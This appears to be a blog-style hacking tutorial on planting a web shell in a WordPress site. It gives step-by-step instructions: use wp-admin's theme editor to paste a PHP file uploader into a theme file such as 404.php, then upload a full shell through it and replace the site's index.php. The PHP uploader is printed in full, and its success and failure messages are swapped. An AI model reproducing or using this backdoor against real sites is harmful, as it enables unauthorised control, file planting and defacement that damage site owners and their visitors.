How to Upload your shell on wordpress websites
Just follow the Steps given below:
1- Login to wordpress.
Goto site.com http://www.site.com/wp-admin/
2- see "editor" option in "apprearance" and click on editor
3-Now see Right slider bar and click on any option like 404.php or comments.php
<?php echo '<b><br><br>'.php_uname().'<br></b>'; echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>credits : www.devilscafe.in</b><br><br>'; } else { echo '<b>Upload Sucess !!!</b><br><br>'; } } ?>
You can paste your shell code too..
5-Now click on update file, and see theme name.
Now Goto http://www.site.com/wp-content/themes/themename/yourshellfile.php
You will get nw a upload option there, select your shell and upload it and
to vew it goto same directory ..
example: http://www.site.com/wp-content/themes/themename/yourshell.php
Now change index.php in public_html for using shell :D :D
No comments:
Post a Comment